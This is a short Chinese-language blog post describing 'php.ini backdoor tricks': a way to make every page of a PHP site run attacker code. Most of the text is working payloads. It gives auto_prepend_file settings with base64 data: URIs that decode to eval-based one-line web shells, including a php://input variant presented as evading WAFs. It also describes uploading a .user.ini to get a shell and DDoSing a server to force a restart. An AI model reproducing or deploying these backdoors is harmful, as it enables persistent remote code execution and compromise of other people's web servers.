MENU

php.ini后门技巧

August 1, 2016 • Security

php.ini中
增加
auto_prepend_file = "/path/to/your/file"

假设我们放的是

<?php
system('la -al')

网站任意页面都会执行这段代码

2.png

可以放代码在其他文件的jpg/txt之类的任意文件里面也可以

还可以配合

allow_url_include=On

这个选项来无需文件,直接使用PHP的封装器来包括一句话。

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

其中base64解码出来的是

<?php @eval($_REQUEST[cmd]);?>

感觉的话用$_REQUEST不太好,还可以改进一下。

用php://input比较好。

因为如果用php://input的话,是可以用来绕过一部分waf的。

allow_url_include=On
auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpOw=="

3.png

可以注意到用没有出现在RFC协议中的HTTP METHOD也可以代码执行了

还有一个想法就是,假设有一个文件上传,限定了不能上传除了jpg的其它文件,可以通过上传一个.htaccess覆盖auto_prepend_file变量,再把机器DDOS重启,从而getshell

经过测试,上传.user.ini

allow_url_include=On
auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpOw=="

包含以上的是可以getshell的,当前(目录下的任意文件可以命令执行)

Archives QR Code
QR Code for this page
Tipping QR Code